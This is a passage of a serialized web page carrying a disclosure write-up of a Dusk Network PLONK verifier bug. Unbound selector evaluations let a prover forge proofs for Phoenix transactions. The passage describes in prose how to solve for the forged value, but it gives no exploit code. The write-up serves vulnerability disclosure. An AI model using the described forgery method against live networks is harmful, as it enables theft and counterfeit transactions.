constraints:",{"type":26,"tag":55436,"props":144760,"children":144761},{},[144762,144778],{"type":26,"tag":122430,"props":144763,"children":144764},{},[144765],{"type":26,"tag":122434,"props":144766,"children":144767},{},[144768,144773],{"type":26,"tag":122438,"props":144769,"children":144770},{},[144771],{"type":32,"value":144772},"Circuit check",{"type":26,"tag":122438,"props":144774,"children":144775},{},[144776],{"type":32,"value":144777},"Statement being checked",{"type":26,"tag":122458,"props":144779,"children":144780},{},[144781,144799,144817,144835,144853,145010,145150,145168],{"type":26,"tag":122434,"props":144782,"children":144783},{},[144784,144794],{"type":26,"tag":122465,"props":144785,"children":144786},{},[144787],{"type":26,"tag":116,"props":144788,"children":144791},{"href":144789,"rel":144790},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L106-L126",[120],[144792],{"type":32,"value":144793},"Merkle tree membership",{"type":26,"tag":122465,"props":144795,"children":144796},{},[144797],{"type":32,"value":144798},"Each input note hash is opened against the public Merkle root, so only notes already in the note tree may be spent",{"type":26,"tag":122434,"props":144800,"children":144801},{},[144802,144812],{"type":26,"tag":122465,"props":144803,"children":144804},{},[144805],{"type":26,"tag":116,"props":144806,"children":144809},{"href":144807,"rel":144808},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L70-L79",[120],[144810],{"type":32,"value":144811},"Input-note secret-key authorization",{"type":26,"tag":122465,"props":144813,"children":144814},{},[144815],{"type":32,"value":144816},"The prover knows the secret key controlling each input note",{"type":26,"tag":122434,"props":144818,"children":144819},{},[144820,144830],{"type":26,"tag":122465,"props":144821,"children":144822},{},[144823],{"type":26,"tag":116,"props":144824,"children":144827},{"href":144825,"rel":144826},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L81-L87",[120],[144828],{"type":32,"value":144829},"Nullifier correctness",{"type":26,"tag":122465,"props":144831,"children":144832},{},[144833],{"type":32,"value":144834},"Each nullifier matches the corresponding note key and position",{"type":26,"tag":122434,"props":144836,"children":144837},{},[144838,144848],{"type":26,"tag":122465,"props":144839,"children":144840},{},[144841],{"type":26,"tag":116,"props":144842,"children":144845},{"href":144843,"rel":144844},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L149-L160",[120],[144846],{"type":32,"value":144847},"Output value commitment correctness",{"type":26,"tag":122465,"props":144849,"children":144850},{},[144851],{"type":32,"value":144852},"Each public output commitment matches the secret output value and blinder",{"type":26,"tag":122434,"props":144854,"children":144855},{},[144856,144866],{"type":26,"tag":122465,"props":144857,"children":144858},{},[144859],{"type":26,"tag":116,"props":144860,"children":144863},{"href":144861,"rel":144862},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L167-L178",[120],[144864],{"type":32,"value":144865},"Balance integrity",{"type":26,"tag":122465,"props":144867,"children":144868},{},[144869],{"type":26,"tag":53,"props":144870,"children":144872},{"className":144871},[3691,3692],[144873],{"type":26,"tag":475,"props":144874,"children":144876},{"className":144875},[3697],[144877],{"type":26,"tag":475,"props":144878,"children":144880},{"className":144879,"ariaHidden":3703},[3702],[144881,144921,144961,144993],{"type":26,"tag":475,"props":144882,"children":144884},{"className":144883},[3708],[144885,144889,144894,144898,144908,144912,144917],{"type":26,"tag":475,"props":144886,"children":144888},{"className":144887,"style":3821},[3713],[],{"type":26,"tag":475,"props":144890,"children":144892},{"className":144891,"style":21339},[21332,21337,21338],[144893],{"type":32,"value":108274},{"type":26,"tag":475,"props":144895,"children":144897},{"className":144896,"style":3839},[3800],[],{"type":26,"tag":475,"props":144899,"children":144901},{"className":144900},[3719,32],[144902],{"type":26,"tag":475,"props":144903,"children":144905},{"className":144904},[3719],[144906],{"type":32,"value":144907},"inputs",{"type":26,"tag":475,"props":144909,"children":144911},{"className":144910,"style":3898},[3800],[],{"type":26,"tag":475,"props":144913,"children":144915},{"className":144914},[3903],[144916],{"type":32,"value":786},{"type":26,"tag":475,"props":144918,"children":144920},{"className":144919,"style":3898},[3800],[],{"type":26,"tag":475,"props":144922,"children":144924},{"className":144923},[3708],[144925,144929,144934,144938,144948,144952,144957],{"type":26,"tag":475,"props":144926,"children":144928},{"className":144927,"style":3821},[3713],[],{"type":26,"tag":475,"props":144930,"children":144932},{"className":144931,"style":21339},[21332,21337,21338],[144933],{"type":32,"value":108274},{"type":26,"tag":475,"props":144935,"children":144937},{"className":144936,"style":3839},[3800],[],{"type":26,"tag":475,"props":144939,"children":144941},{"className":144940},[3719,32],[144942],{"type":26,"tag":475,"props":144943,"children":144945},{"className":144944},[3719],[144946],{"type":32,"value":144947},"outputs",{"type":26,"tag":475,"props":144949,"children":144951},{"className":144950,"style":3801},[3800],[],{"type":26,"tag":475,"props":144953,"children":144955},{"className":144954},[3806],[144956],{"type":32,"value":1106},{"type":26,"tag":475,"props":144958,"children":144960},{"className":144959,"style":3801},[3800],[],{"type":26,"tag":475,"props":144962,"children":144964},{"className":144963},[3708],[144965,144970,144980,144984,144989],{"type":26,"tag":475,"props":144966,"children":144969},{"className":144967,"style":144968},[3713],"height:0.7778em;vertical-align:-0.0833em;",[],{"type":26,"tag":475,"props":144971,"children":144973},{"className":144972},[3719,32],[144974],{"type":26,"tag":475,"props":144975,"children":144977},{"className":144976},[3719],[144978],{"type":32,"value":144979},"fee",{"type":26,"tag":475,"props":144981,"children":144983},{"className":144982,"style":3801},[3800],[],{"type":26,"tag":475,"props":144985,"children":144987},{"className":144986},[3806],[144988],{"type":32,"value":1106},{"type":26,"tag":475,"props":144990,"children":144992},{"className":144991,"style":3801},[3800],[],{"type":26,"tag":475,"props":144994,"children":144996},{"className":144995},[3708],[144997,145001],{"type":26,"tag":475,"props":144998,"children":145000},{"className":144999,"style":114534},[3713],[],{"type":26,"tag":475,"props":145002,"children":145004},{"className":145003},[3719,32],[145005],{"type":26,"tag":475,"props":145006,"children":145008},{"className":145007},[3719],[145009],{"type":32,"value":61655},{"type":26,"tag":122434,"props":145011,"children":145012},{},[145013,145030],{"type":26,"tag":122465,"props":145014,"children":145015},{},[145016,145023,145024],{"type":26,"tag":116,"props":145017,"children":145020},{"href":145018,"rel":145019},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L89-L90",[120],[145021],{"type":32,"value":145022},"Range checks on inputs",{"type":32,"value":209},{"type":26,"tag":116,"props":145025,"children":145028},{"href":145026,"rel":145027},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L141-L142",[120],[145029],{"type":32,"value":144947},{"type":26,"tag":122465,"props":145031,"children":145032},{},[145033,145035],{"type":32,"value":145034},"All note values lie in ",{"type":26,"tag":53,"props":145036,"children":145038},{"className":145037},[3691,3692],[145039],{"type":26,"tag":475,"props":145040,"children":145042},{"className":145041},[3697],[145043],{"type":26,"tag":475,"props":145044,"children":145046},{"className":145045,"ariaHidden":3703},[3702],[145047,145132],{"type":26,"tag":475,"props":145048,"children":145050},{"className":145049},[3708],[145051,145055,145060,145065,145070,145074,145119,145123,145128],{"type":26,"tag":475,"props":145052,"children":145054},{"className":145053,"style":114791},[3713],[],{"type":26,"tag":475,"props":145056,"children":145058},{"className":145057},[21425],[145059],{"type":32,"value":3440},{"type":26,"tag":475,"props":145061,"children":145063},{"className":145062},[3719],[145064],{"type":32,"value":3732},{"type":26,"tag":475,"props":145066,"children":145068},{"className":145067},[3832],[145069],{"type":32,"value":3835},{"type":26,"tag":475,"props":145071,"children":145073},{"className":145072,"style":3839},[3800],[],{"type":26,"tag":475,"props":145075,"children":145077},{"className":145076},[3719],[145078,145083],{"type":26,"tag":475,"props":145079,"children":145081},{"className":145080},[3719],[145082],{"type":32,"value":2830},{"type":26,"tag":475,"props":145084,"children":145086},{"className":145085},[3736],[145087],{"type":26,"tag":475,"props":145088,"children":145090},{"className":145089},[3741],[145091],{"type":26,"tag":475,"props":145092,"children":145094},{"className":145093},[3746],[145095],{"type":26,"tag":475,"props":145096,"children":145098},{"className":145097,"style":3714},[3751],[145099],{"type":26,"tag":475,"props":145100,"children":145101},{"style":3755},[145102,145106],{"type":26,"tag":475,"props":145103,"children":145105},{"className":145104,"style":3761},[3760],[],{"type":26,"tag":475,"props":145107,"children":145109},{"className":145108},[3766,3767,3768,3769],[145110],{"type":26,"tag":475,"props":145111,"children":145113},{"className":145112},[3719,3769],[145114],{"type":26,"tag":475,"props":145115,"children":145117},{"className":145116},[3719,3769],[145118],{"type":32,"value":29125},{"type":26,"tag":475,"props":145120,"children":145122},{"className":145121,"style":3801},[3800],[],{"type":26,"tag":475,"props":145124,"children":145126},{"className":145125},[3806],[145127],{"type":32,"value":3780},{"type":26,"tag":475,"props":145129,"children":145131},{"className":145130,"style":3801},[3800],[],{"type":26,"tag":475,"props":145133,"children":145135},{"className":145134},[3708],[145136,145140,145145],{"type":26,"tag":475,"props":145137,"children":145139},{"className":145138,"style":3821},[3713],[],{"type":26,"tag":475,"props":145141,"children":145143},{"className":145142},[3719],[145144],{"type":32,"value":3722},{"type":26,"tag":475,"props":145146,"children":145148},{"className":145147},[21447],[145149],{"type":32,"value":15117},{"type":26,"tag":122434,"props":145151,"children":145152},{},[145153,145163],{"type":26,"tag":122465,"props":145154,"children":145155},{},[145156],{"type":26,"tag":116,"props":145157,"children":145160},{"href":145158,"rel":145159},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/sender_enc.rs#L28-L51",[120],[145161],{"type":32,"value":145162},"Sender-authorship signatures",{"type":26,"tag":122465,"props":145164,"children":145165},{},[145166],{"type":32,"value":145167},"The transaction payload is signed by the sender's two signing key components",{"type":26,"tag":122434,"props":145169,"children":145170},{},[145171,145181],{"type":26,"tag":122465,"props":145172,"children":145173},{},[145174],{"type":26,"tag":116,"props":145175,"children":145178},{"href":145176,"rel":145177},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/sender_enc.rs#L63-L121",[120],[145179],{"type":32,"value":145180},"Sender encryption correctness",{"type":26,"tag":122465,"props":145182,"children":145183},{},[145184],{"type":32,"value":145185},"The sender data attached to each output note is a correct ElGamal encryption under the recipient note key",{"type":26,"tag":35,"props":145187,"children":145188},{},[145189,145191,145197,145199,145208],{"type":32,"value":145190},"Rusk does not consume these claims one by one. It consumes a single valid/invalid proof verdict over ",{"type":26,"tag":53,"props":145192,"children":145194},{"className":145193},[],[145195],{"type":32,"value":145196},"tx.public_inputs()",{"type":32,"value":145198}," via ",{"type":26,"tag":116,"props":145200,"children":145202},{"href":144638,"rel":145201},[120],[145203],{"type":26,"tag":53,"props":145204,"children":145206},{"className":145205},[],[145207],{"type":32,"value":144646},{"type":32,"value":353},{"type":26,"tag":35,"props":145210,"children":145211},{},[145212],{"type":32,"value":145213},"A soundness break in PLONK voids all of these constraints simultaneously, because forged selector evaluations make the entire circuit unconstrained rather than targeting any single check.",{"type":26,"tag":18502,"props":145215,"children":145216},{},[],{"type":26,"tag":27,"props":145218,"children":145219},{"id":89921},[145220],{"type":32,"value":145221},"The bug",{"type":26,"tag":35,"props":145223,"children":145224},{},[145225,145227,145234,145236,145247],{"type":32,"value":145226},"In the ",{"type":26,"tag":116,"props":145228,"children":145231},{"href":145229,"rel":145230},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/proof.rs#L362-L400",[120],[145232],{"type":32,"value":145233},"PLONK verification",{"type":32,"value":145235},", the verifier batches polynomial evaluations into a single KZG opening proof check. The evaluations included in this batch (committed via ",{"type":26,"tag":116,"props":145237,"children":145240},{"href":145238,"rel":145239},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/proof.rs#L362-L373",[120],[145241],{"type":26,"tag":53,"props":145242,"children":145244},{"className":145243},[],[145245],{"type":32,"value":145246},"E_evals",{"type":32,"value":145248},") are:",{"type":26,"tag":82,"props":145250,"children":145251},{},[145252,145284,145309,145334],{"type":26,"tag":86,"props":145253,"children":145254},{},[145255,145261,145262,145268,145269,145275,145276,145282],{"type":26,"tag":53,"props":145256,"children":145258},{"className":145257},[],[145259],{"type":32,"value":145260},"a_eval",{"type":32,"value":637},{"type":26,"tag":53,"props":145263,"children":145265},{"className":145264},[],[145266],{"type":32,"value":145267},"b_eval",{"type":32,"value":637},{"type":26,"tag":53,"props":145270,"children":145272},{"className":145271},[],[145273],{"type":32,"value":145274},"c_eval",{"type":32,"value":637},{"type":26,"tag":53,"props":145277,"children":145279},{"className":145278},[],[145280],{"type":32,"value":145281},"d_eval",{"type":32,"value":145283}," (witness)",{"type":26,"tag":86,"props":145285,"children":145286},{},[145287,145293,145294,145300,145301,145307],{"type":26,"tag":53,"props":145288,"children":145290},{"className":145289},[],[145291],{"type":32,"value":145292},"s_sigma_1_eval",{"type":32,"value":637},{"type":26,"tag":53,"props":145295,"children":145297},{"className":145296},[],[145298],{"type":32,"value":145299},"s_sigma_2_eval",{"type":32,"value":637},{"type":26,"tag":53,"props":145302,"children":145304},{"className":145303},[],[145305],{"type":32,"value":145306},"s_sigma_3_eval",{"type":32,"value":145308}," (permutation)",{"type":26,"tag":86,"props":145310,"children":145311},{},[145312,145318,145319,145325,145326,145332],{"type":26,"tag":53,"props":145313,"children":145315},{"className":145314},[],[145316],{"type":32,"value":145317},"a_w_eval",{"type":32,"value":637},{"type":26,"tag":53,"props":145320,"children":145322},{"className":145321},[],[145323],{"type":32,"value":145324},"b_w_eval",{"type":32,"value":637},{"type":26,"tag":53,"props":145327,"children":145329},{"className":145328},[],[145330],{"type":32,"value":145331},"d_w_eval",{"type":32,"value":145333}," (shifted witness)",{"type":26,"tag":86,"props":145335,"children":145336},{},[145337,145343],{"type":26,"tag":53,"props":145338,"children":145340},{"className":145339},[],[145341],{"type":32,"value":145342},"z_eval",{"type":32,"value":145344}," (permutation accumulator)",{"type":26,"tag":35,"props":145346,"children":145347},{},[145348,145350,145354],{"type":32,"value":145349},"But the following selector evaluations were ",{"type":26,"tag":2615,"props":145351,"children":145352},{},[145353],{"type":32,"value":18197},{"type":32,"value":145355}," included:",{"type":26,"tag":82,"props":145357,"children":145358},{},[145359,145370,145381,145392],{"type":26,"tag":86,"props":145360,"children":145361},{},[145362,145368],{"type":26,"tag":53,"props":145363,"children":145365},{"className":145364},[],[145366],{"type":32,"value":145367},"q_arith_eval",{"type":32,"value":145369}," (arithmetic selector)",{"type":26,"tag":86,"props":145371,"children":145372},{},[145373,145379],{"type":26,"tag":53,"props":145374,"children":145376},{"className":145375},[],[145377],{"type":32,"value":145378},"q_c_eval",{"type":32,"value":145380}," (constant selector)",{"type":26,"tag":86,"props":145382,"children":145383},{},[145384,145390],{"type":26,"tag":53,"props":145385,"children":145387},{"className":145386},[],[145388],{"type":32,"value":145389},"q_l_eval",{"type":32,"value":145391}," (left selector)",{"type":26,"tag":86,"props":145393,"children":145394},{},[145395,145401],{"type":26,"tag":53,"props":145396,"children":145398},{"className":145397},[],[145399],{"type":32,"value":145400},"q_r_eval",{"type":32,"value":145402}," (right selector)",{"type":26,"tag":35,"props":145404,"children":145405},{},[145406,145408,145415,145416,145423,145424,145431,145432,145439],{"type":32,"value":145407},"The prover places four selector evaluations in the proof struct. The verifier absorbs them into the transcript, and the widget verifier code uses them directly in the linearization check (",{"type":26,"tag":116,"props":145409,"children":145412},{"href":145410,"rel":145411},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/linearization_poly.rs#L33-L83",[120],[145413],{"type":32,"value":145414},"proof struct",{"type":32,"value":637},{"type":26,"tag":116,"props":145417,"children":145420},{"href":145418,"rel":145419},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/proof.rs#L255-L286",[120],[145421],{"type":32,"value":145422},"transcript absorption",{"type":32,"value":637},{"type":26,"tag":116,"props":145425,"children":145428},{"href":145426,"rel":145427},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/widget/arithmetic/verifierkey.rs#L92-L118",[120],[145429],{"type":32,"value":145430},"arithmetic widget",{"type":32,"value":637},{"type":26,"tag":116,"props":145433,"children":145436},{"href":145434,"rel":145435},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/widget/ecc/scalar_mul/fixed_base/verifierkey.rs#L46-L102",[120],[145437],{"type":32,"value":145438},"fixed-base ECC widget",{"type":32,"value":145440},"). But they are never checked against the corresponding selector commitments in the verifier key, even though those commitments already exist. The prover sends whatever values it wants and the verifier trusts them.",{"type":26,"tag":35,"props":145442,"children":145443},{},[145444,145446,145450],{"type":32,"value":145445},"The easiest way to see why these four omissions are special is to contrast them with two nearby cases that are ",{"type":26,"tag":2615,"props":145447,"children":145448},{},[145449],{"type":32,"value":18197},{"type":32,"value":145451}," bugs:",{"type":26,"tag":82,"props":145453,"children":145454},{},[145455,145595],{"type":26,"tag":86,"props":145456,"children":145457},{},[145458,145460,145505,145507,145513,145515,145520,145521,145526,145527,145532,145534,145540,145542,145587,145589,145594],{"type":32,"value":145459},"There is no prover-supplied ",{"type":26,"tag":53,"props":145461,"children":145463},{"className":145462},[3691,3692],[145464],{"type":26,"tag":475,"props":145465,"children":145467},{"className":145466},[3697],[145468],{"type":26,"tag":475,"props":145469,"children":145471},{"className":145470,"ariaHidden":3703},[3702],[145472],{"type":26,"tag":475,"props":145473,"children":145475},{"className":145474},[3708],[145476,145480,145485,145490,145495,145500],{"type":26,"tag":475,"props":145477,"children":145479},{"className":145478,"style":3821},[3713],[],{"type":26,"tag":475,"props":145481,"children":145483},{"className":145482},[3719,21296],[145484],{"type":32,"value":2854},{"type":26,"tag":475,"props":145486,"children":145488},{"className":145487},[21425],[145489],{"type":32,"value":626},{"type":26,"tag":475,"props":145491,"children":145493},{"className":145492,"style":113036},[3719,21296],[145494],{"type":32,"value":113039},{"type":26,"tag":475,"props":145496,"children":145498},{"className":145497,"style":93153},[3719,21296],[145499],{"type":32,"value":144169},{"type":26,"tag":475,"props":145501,"children":145503},{"className":145502},[21447],[145504],{"type":32,"value":2835},{"type":32,"value":145506}," field at all. ",{"type":26,"tag":53,"props":145508,"children":145510},{"className":145509},[],[145511],{"type":32,"value":145512},"ProofEvaluations",{"type":32,"value":145514}," contains ",{"type":26,"tag":53,"props":145516,"children":145518},{"className":145517},[],[145519],{"type":32,"value":145317},{"type":32,"value":637},{"type":26,"tag":53,"props":145522,"children":145524},{"className":145523},[],[145525],{"type":32,"value":145324},{"type":32,"value":6201},{"type":26,"tag":53,"props":145528,"children":145530},{"className":145529},[],[145531],{"type":32,"value":145331},{"type":32,"value":145533},", but no ",{"type":26,"tag":53,"props":145535,"children":145537},{"className":145536},[],[145538],{"type":32,"value":145539},"c_w_eval",{"type":32,"value":145541},", so the verifier never consumes an unbound ",{"type":26,"tag":53,"props":145543,"children":145545},{"className":145544},[3691,3692],[145546],{"type":26,"tag":475,"props":145547,"children":145549},{"className":145548},[3697],[145550],{"type":26,"tag":475,"props":145551,"children":145553},{"className":145552,"ariaHidden":3703},[3702],[145554],{"type":26,"tag":475,"props":145555,"children":145557},{"className":145556},[3708],[145558,145562,145567,145572,145577,145582],{"type":26,"tag":475,"props":145559,"children":145561},{"className":145560,"style":3821},[3713],[],{"type":26,"tag":475,"props":145563,"children":145565},{"className":145564},[3719,21296],[145566],{"type":32,"value":2854},{"type":26,"tag":475,"props":145568,"children":145570},{"className":145569},[21425],[145571],{"type":32,"value":626},{"type":26,"tag":475,"props":145573,"children":145575},{"className":145574,"style":113036},[3719,21296],[145576],{"type":32,"value":113039},{"type":26,"tag":475,"props":145578,"children":145580},{"className":145579,"style":93153},[3719,21296],[145581],{"type":32,"value":144169},{"type":26,"tag":475,"props":145583,"children":145585},{"className":145584},[21447],[145586],{"type":32,"value":2835},{"type":32,"value":145588}," claim (",{"type":26,"tag":116,"props":145590,"children":145592},{"href":145410,"rel":145591},[120],[145593],{"type":32,"value":145414},{"type":32,"value":20450},{"type":26,"tag":86,"props":145596,"children":145597},{},[145598,145600,145687,145689,145781,145782,145789],{"type":32,"value":145599},"There is a fourth permutation commitment ",{"type":26,"tag":53,"props":145601,"children":145603},{"className":145602},[3691,3692],[145604],{"type":26,"tag":475,"props":145605,"children":145607},{"className":145606},[3697],[145608],{"type":26,"tag":475,"props":145609,"children":145611},{"className":145610,"ariaHidden":3703},[3702],[145612],{"type":26,"tag":475,"props":145613,"children":145615},{"className":145614},[3708],[145616,145620,145625,145682],{"type":26,"tag":475,"props":145617,"children":145619},{"className":145618,"style":3821},[3713],[],{"type":26,"tag":475,"props":145621,"children":145623},{"className":145622},[21425],[145624],{"type":32,"value":3440},{"type":26,"tag":475,"props":145626,"children":145628},{"className":145627},[3719],[145629,145634],{"type":26,"tag":475,"props":145630,"children":145632},{"className":145631,"style":93153},[3719,21296],[145633],{"type":32,"value":144064},{"type":26,"tag":475,"props":145635,"children":145637},{"className":145636},[3736],[145638],{"type":26,"tag":475,"props":145639,"children":145641},{"className":145640},[3741,21350],[145642,145671],{"type":26,"tag":475,"props":145643,"children":145645},{"className":145644},[3746],[145646,145666],{"type":26,"tag":475,"props":145647,"children":145649},{"className":145648,"style":92719},[3751],[145650],{"type":26,"tag":475,"props":145651,"children":145652},{"style":93200},[145653,145657],{"type":26,"tag":475,"props":145654,"children":145656},{"className":145655,"style":3761},[3760],[],{"type":26,"tag":475,"props":145658,"children":145660},{"className":145659},[3766,3767,3768,3769],[145661],{"type":26,"tag":475,"props":145662,"children":145664},{"className":145663},[3719,3769],[145665],{"type":32,"value":17235},{"type":26,"tag":475,"props":145667,"children":145669},{"className":145668},[21453],[145670],{"type":32,"value":21456},{"type":26,"tag":475,"props":145672,"children":145674},{"className":145673},[3746],[145675],{"type":26,"tag":475,"props":145676,"children":145678},{"className":145677,"style":92750},[3751],[145679],{"type":26,"tag":475,"props":145680,"children":145681},{},[],{"type":26,"tag":475,"props":145683,"children":145685},{"className":145684},[21447],[145686],{"type":32,"value":15117},{"type":32,"value":145688}," in the verifier key, but the verifier uses the commitment itself inside the linearization MSM rather than trusting a prover-supplied scalar ",{"type":26,"tag":53,"props":145690,"children":145692},{"className":145691},[3691,3692],[145693],{"type":26,"tag":475,"props":145694,"children":145696},{"className":145695},[3697],[145697],{"type":26,"tag":475,"props":145698,"children":145700},{"className":145699,"ariaHidden":3703},[3702],[145701],{"type":26,"tag":475,"props":145702,"children":145704},{"className":145703},[3708],[145705,145709,145766,145771,145776],{"type":26,"tag":475,"props":145706,"children":145708},{"className":145707,"style":3821},[3713],[],{"type":26,"tag":475,"props":145710,"children":145712},{"className":145711},[3719],[145713,145718],{"type":26,"tag":475,"props":145714,"children":145716},{"className":145715,"style":93153},[3719,21296],[145717],{"type":32,"value":144064},{"type":26,"tag":475,"props":145719,"children":145721},{"className":145720},[3736],[145722],{"type":26,"tag":475,"props":145723,"children":145725},{"className":145724},[3741,21350],[145726,145755],{"type":26,"tag":475,"props":145727,"children":145729},{"className":145728},[3746],[145730,145750],{"type":26,"tag":475,"props":145731,"children":145733},{"className":145732,"style":92719},[3751],[145734],{"type":26,"tag":475,"props":145735,"children":145736},{"style":93200},[145737,145741],{"type":26,"tag":475,"props":145738,"children":145740},{"className":145739,"style":3761},[3760],[],{"type":26,"tag":475,"props":145742,"children":145744},{"className":145743},[3766,3767,3768,3769],[145745],{"type":26,"tag":475,"props":145746,"children":145748},{"className":145747},[3719,3769],[145749],{"type":32,"value":17235},{"type":26,"tag":475,"props":145751,"children":145753},{"className":145752},[21453],[145754],{"type":32,"value":21456},{"type":26,"tag":475,"props":145756,"children":145758},{"className":145757},[3746],[145759],{"type":26,"tag":475,"props":145760,"children":145762},{"className":145761,"style":92750},[3751],[145763],{"type":26,"tag":475,"props":145764,"children":145765},{},[],{"type":26,"tag":475,"props":145767,"children":145769},{"className":145768},[21425],[145770],{"type":32,"value":626},{"type":26,"tag":475,"props":145772,"children":145774},{"className":145773,"style":113036},[3719,21296],[145775],{"type":32,"value":113039},{"type":26,"tag":475,"props":145777,"children":145779},{"className":145778},[21447],[145780],{"type":32,"value":2835},{"type":32,"value":2775},{"type":26,"tag":116,"props":145783,"children":145786},{"href":145784,"rel":145785},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/widget/permutation/verifierkey.rs#L24-L104",[120],[145787],{"type":32,"value":145788},"permutation verifier key",{"type":32,"value":20450},{"type":26,"tag":35,"props":145791,"children":145792},{},[145793,145795,145805],{"type":32,"value":145794},"The four selector evaluations fit neither of these safe patterns: they are prover-supplied scalars, they are used directly by verifier code, and they never appear in ",{"type":26,"tag":116,"props":145796,"children":145799},{"href":145797,"rel":145798},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/proof.rs#L361-L373",[120],[145800],{"type":26,"tag":53,"props":145801,"children":145803},{"className":145802},[],[145804],{"type":32,"value":145246},{"type":32,"value":145806},", which leaves the master equation underconstrained.",{"type":26,"tag":35,"props":145808,"children":145809},{},[145810],{"type":26,"tag":132,"props":145811,"children":145814},{"alt":145812,"src":145813},"structural_trust_boundary","/posts/dusk-commitment-issues/structural_trust_boundary.svg",[],{"type":26,"tag":18502,"props":145816,"children":145817},{},[],{"type":26,"tag":27,"props":145819,"children":145821},{"id":145820},"the-exploitation",[145822],{"type":32,"value":145823},"The exploitation",{"type":26,"tag":35,"props":145825,"children":145826},{},[145827],{"type":32,"value":145828},"Since the selector evaluations are free variables, the verification equation becomes a linear equation the prover can solve after the fact.",{"type":26,"tag":35,"props":145830,"children":145831},{},[145832,145834,145840,145842,145847,145849,145854,145856,145862],{"type":32,"value":145833},"The prover commits to arbitrary witness polynomials, without needing a valid witness, and arbitrary quotient polynomials, where small random linear polynomials suffice. It follows the honest protocol through all commitment rounds, deriving the same challenges the verifier will. After seeing ",{"type":26,"tag":53,"props":145835,"children":145837},{"className":145836},[],[145838],{"type":32,"value":145839},"z_challenge",{"type":32,"value":145841},", it computes what the linearization polynomial ",{"type":26,"tag":2615,"props":145843,"children":145844},{},[145845],{"type":32,"value":145846},"should",{"type":32,"value":145848}," evaluate to for the pairing check to pass, then solves for ",{"type":26,"tag":53,"props":145850,"children":145852},{"className":145851},[],[145853],{"type":32,"value":145367},{"type":32,"value":145855},", the single free variable that makes the verification equation balance (setting ",{"type":26,"tag":53,"props":145857,"children":145859},{"className":145858},[],[145860],{"type":32,"value":145861},"q_c_eval = q_l_eval = q_r_eval = 0",{"type":32,"value":20450},{"type":26,"tag":35,"props":145864,"children":145865},{},[145866],{"type":26,"tag":132,"props":145867,"children":145870},{"alt":145868,"src":145869},"exploit_algebra","/posts/dusk-commitment-issues/exploit_algebra.svg",[],{"type":26,"tag":35,"props":145872,"children":145873},{},[145874,145876,145916,145918,145943,145945,145950],{"type":32,"value":145875},"To achieve this one may compute the linearization polynomial ",{"type":26,"tag":53,"props":145877,"children":145879},{"className":145878},[3691,3692],[145880],{"type":26,"tag":475,"props":145881,"children":145883},{"className":145882},[3697],[145884],{"type":26,"tag":475,"props":145885,"children":145887},{"className":145886,"ariaHidden":3703},[3702],[145888],{"type":26,"tag":475,"props":145889,"children":145891},{"className":145890},[3708],[145892,145896,145901,145906,145911],{"type":26,"tag":475,"props":145893,"children":145895},{"className":145894,"style":3821},[3713],[],{"type":26,"tag":475,"props":145897,"children":145899},{"className":145898,"style":92667},[3719,21296],[145900],{"type":32,"value":93486},{"type":26,"tag":475,"props":145902,"children":145904},{"className":145903},[21425],[145905],{"type":32,"value":626},{"type":26,"tag":475,"props":145907,"children":145909},{"className":145908},[3719,21296],[145910],{"type":32,"value":18984},{"type":26,"tag":475,"props":145912,"children":145914},{"className":145913},[21447],[145915],{"type":32,"value":2835},{"type":32,"value":145917}," with all selectors set to zero, evaluating it at ",{"type":26,"tag":53,"props":145919,"children":145921},{"className":145920},[3691,3692],[145922],{"type":26,"tag":475,"props":145923,"children":145925},{"className":145924},[3697],[145926],{"type":26,"tag":475,"props":145927,"children":145929},{"className":145928,"ariaHidden":3703},[3702],[145930],{"type":26,"tag":475,"props":145931,"children":145933},{"className":145932},[3708],[145934,145938],{"type":26,"tag":475,"props":145935,"children":145937},{"className":145936,"style":110320},[3713],[],{"type":26,"tag":475,"props":145939,"children":145941},{"className":145940,"style":113036},[3719,21296],[145942],{"type":32,"value":113039},{"type":32,"value":145944},", and comparing to the target value; the difference divided by the coefficient of ",{"type":26,"tag":53,"props":145946,"children":145948},{"className":145947},[],[145949],{"type":32,"value":145367},{"type":32,"value":145951}," gives the required value in a single field division.",{"type":26,"tag":18502,"props":145953,"children":145954},{},[],{"type":26,"tag":27,"props":145956,"children":145958},{"id":145957},"impact-on-dusk-network",[145959],{"type":32,"value":145960},"Impact on Dusk Network",{"type":26,"tag":35,"props":145962,"children":145963},{},[145964,145966,145973],{"type":32,"value":145965},"PLONK is the sole gatekeeper for Phoenix-specific correctness claims: note membership, ownership, note commitments, sender-authorship, and balance integrity are encoded entirely in the circuit. Rusk does check other preconditions such as nullifier uniqueness before it verifies the proof 